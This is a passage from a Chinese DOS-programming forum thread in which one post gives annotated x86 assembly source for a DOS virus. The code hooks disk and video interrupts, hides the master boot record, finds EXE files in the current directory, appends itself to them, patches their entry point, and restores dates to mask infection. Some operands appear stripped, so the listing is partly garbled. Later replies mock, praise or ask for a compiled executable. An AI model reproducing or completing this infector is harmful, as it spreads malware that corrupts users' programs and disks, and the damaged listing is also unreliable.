中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-01 23:14
中国DOS联盟论坛 » DOS开发编程 & 发展交流 (开发室) » 磁盘杀手(批处理,只是恶意代码非病毒) 查看 3,724 回复 22
16 发表于 2003-05-02 00:00 ·  中国 浙江 宁波 电信
初级用户
积分 37
发帖 20
注册 2003-04-30 00:00
23年会员
UID 1776
性别 男
状态 离线

SM PROC ;|---;子程序SM的作用:
MOV AX,DS: ;| ;将中断10H,13H分别保存
MOV DS:,AX ;| ;至85H,86H,并修改10H,13H
MOV AX,DS: ;| ;指向新中断部分
MOV DS:,AX ;|
;|
MOV AX,DS: ;|
MOV DS:,AX ;|
MOV AX,DS: ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW10H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW13H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
RET ;|
SM ENDP ;|

NEW10H:CMP AH,00 ;|-;新中断10H的作用:
JZ N1 ;| ;检测是否调用功能00H
INT 85H ;| ;是->将主代码装入内存
IRET ;| ; 并执行
N1: PUSH AX ;| ;否->调用原中断10H
PUSH BX ;|
PUSH CX ;|
PUSH DX ;|
PUSH DS ;|
PUSH ES ;|
;|
MOV AX,8000H ;|
MOV ES,AX ;|
;|
MOV AX,0202H ;|
XOR BX,BX ;|
MOV CX,0002H ;|
MOV DX,0080H ;|
INT 13H ;|
;|
MOV BX,OFFSET JMP_MAIN-OFFSET HDP ;|
JMP DWORD PTR CS:

NEW13HUSHF ;|----------------------;新中断13H的作用:
CMP CX,0001H ;| ;检测是否读主引导扇区
JNZ NGW ;| ;是->读0面0道4扇区
CMP AH,02H ;| ;否->调用原中断13H
JNZ NGW ;|
CMP DX,0080H ;|
JNZ NGW ;|
;|
MOV CX,0017H ;|
NGW: POPF ;|
INT 86H ;|
IRET ;|

;** PART 4:传染部分 ******************************************************

MAIN: MOV AX,CS
MOV ES,AX
MOV DS,AX

MOV AH,1AH ;|
MOV DX,OFFSET DTA ;|-----------------;设置DTA(磁盘传输地址)
INT 21H ;|

MOV AH,4EH ;|
JMP DIR ;|
SDIR: MOV AH,4FH ;| ;在当前目录中搜索第一个
DIR : MOV DX,OFFSET FNEXE ;|---------------;EXE文件
MOV CX,100111B ;| ;找到->继续
INT 21H ;| ;没找到->转HW
JC HW ;|

CMP DS:,BYTE PTR 77 ;| ;检测是否已感染
JZ SDIR ;| ;是->搜索下一个EXE文件
MOV CX,DS: ;| ; 直到找到或搜索完
CMP CX,09H ;|----------; 目录为止
JNB SDIR ;| ;否->实施传染
;| ;注:如果文件已感染或文
CALL GR ;| ; 长度超过90000H都不
; 会传染.
HW: POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
INT 85H ;|---------------------------;执行原中断10H
IRET

GR PROC ;|------------------------------;子程序GR作用:
;传染EXE文件

MOV DX,OFFSET FN ;|
MOV AX,4301H ;|-----------------;置文件属性为:普通
MOV CX,100000B ;|
INT 21H ;|

MOV AX,3D02H
INT 21H ;|-----------------;打开文件
MOV BX,AX

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,8H ;|
INT 21H ;|--------------;读文件头节长度
MOV AH,3FH ;|
MOV CX,2H ;|
MOV DX,OFFSET H_EXE ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|---------------;保存原文件的 CS:IP
MOV AH,3FH ;| ;初始值
MOV CX,4H ;|
MOV DX,OFFSET B_IP ;|
INT 21H ;|

MOV AX,4202H ;|
XOR CX,CX ;|
XOR DX,DX ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
MOV CX,10H ;| ;使原文件的长度为10H的
DIV CX ;|-----------------;倍数,目的是为了使自身
INC AX ;| ;能运行在CS:00的环境下
SUB AX,DS: ;|
MOV DS:,AX ;|
SUB CX,DX ;|
PUSH CX ;|
MOV AH,40H ;|
INT 21H ;|

MOV AH,40H ;|
MOV CX,OFFSET P_SIZE ;|--------------;将自身附加在文件结尾
XOR DX,DX ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,02H ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
POP CX ;|
ADC AX,CX ;| ;将新文件的长度转换成
JNC NC1 ;| ;(页长度+最后一个扇区字节数)
INC DX ;|-----------;的形式
NC1: ADC AX,OFFSET P_SIZE ;| ;并将此结果写入EXE文件头
JNC NC2 ;|
INC DX ;|
NC2: MOV CX,200H ;|
DIV CX ;|
INC AX ;|
MOV DS:,DX ;|
MOV DS:,AX ;|
MOV DX,OFFSET B_EXE ;|
MOV CX,4H ;|
MOV AH,40H ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|-------------;将计算后的新CS:IP初始值写
MOV AH,40H ;| ;入EXE文件头
MOV CX,4H ;|
MOV DX,OFFSET N_IP ;|
INT 21H ;|

MOV AX,5701H ;|
MOV CH,DS: ;| ;改回文件修改日期并打上
MOV CL,77 ;|----------------;已感染标志
MOV DX,DS: ;|
INT 21H ;|

MOV AH,3EH ;|---------------------;关闭文件
INT 21H ;|

MOV DX,OFFSET FN ;|
MOV AX,4301H ;|
XOR CH,CH ;|---------------;改回文件属性
MOV CL,DS: ;|
INT 21H ;|
RET ;|

GR ENDP
;|---------------;DTA(磁盘传输地址)的格式如下:
DTA DB 21 DUP(0) ;|---------------;DOS功能4FH将使用这些字节
C DB 0 ;|---------------;文件属性
T_L DB 0 ;|---------------;文件时间的低位
T_H DB 0 ;|---------------;文件时间的高位
D DW 0 ;|---------------;文件日期
S_L DW 0 ;|---------------;文件长度的低位
S_H DW 0 ;|---------------;文件长度的高位
FN DB 13 DUP(0) ;|---------------;文件的全名

P_SIZE:

CSEG ENDS
END START
17 发表于 2003-05-02 00:00 ·  中国 河南 驻马店 联通
金牌会员
★★★★
龙哥DOS
积分 4,289
发帖 1,501
注册 2003-02-23 00:00
23年会员
UID 983
性别 男
来自 河南省
状态 离线
这些字符是不是你胡乱敲的呀?让我看看你的精简Win 98再说!
C++C++C++C++C++C++C++C++C++C++C++C++C++C++C++
C++ ☆☆☆ 中国DOS联盟成员 ☆☆☆ C++
C++ ★★★ 爱提问的红色狂想 ★★★ C++
C++C++C++C++C++C++C++C++C++C++C++C++C++C++C++
18 发表于 2003-05-02 00:00 ·  中国 台湾 台南市 远传电信
元老会员
★★★★★
积分 8,312
发帖 3,551
注册 2003-03-22 00:00
23年会员
UID 1225
性别 男
状态 离线
以下是引用红色狂想在2003-5-2 16:31:24的发言:
这些字符是不是你胡乱敲的呀?让我看看你的精简Win 98再说!

說的對,還是先拿出你的精簡win 98!!
MSN:tiqit2@hotmail.com
19 发表于 2003-05-04 00:00 ·  中国 上海 联通
金牌会员
★★★★
小飞侠
积分 4,590
发帖 1,812
注册 2003-04-02 00:00
23年会员
UID 1400
性别 男
来自 上海市
状态 离线
各位都是汇编高手啊!有没有做好的可执行文件上传啊!
20 发表于 2006-10-25 16:56 ·  中国 广东 珠海 电信
新手上路
积分 6
发帖 3
注册 2006-10-12 22:46
19年会员
UID 65509
性别 女
状态 离线
沙发``红的不行咱们搞黑的```呵呵```
21 发表于 2006-10-26 01:31 ·  中国 江苏 无锡 宜兴市 电信
初级用户
积分 44
发帖 16
注册 2006-08-15 07:15
19年会员
UID 60550
状态 离线
佩服.有的人可能自以为了不起,看不起楼主的东西.实际上觉得这个太经典了.看事容易做事难.不信他的人可以自己做一个试试
22 幸亏linux没有这些命令! 发表于 2006-11-01 04:40 ·  中国 上海 浦东新区 电信
初级用户
积分 70
发帖 34
注册 2006-10-28 06:23
19年会员
UID 68609
性别 男
状态 离线
23 发表于 2006-11-08 02:28 ·  中国 河南 周口 联通
初级用户
积分 57
发帖 28
注册 2006-11-06 05:32
19年会员
UID 69754
性别 男
来自 中国
状态 离线
厉害好没学会呢?
论坛跳转: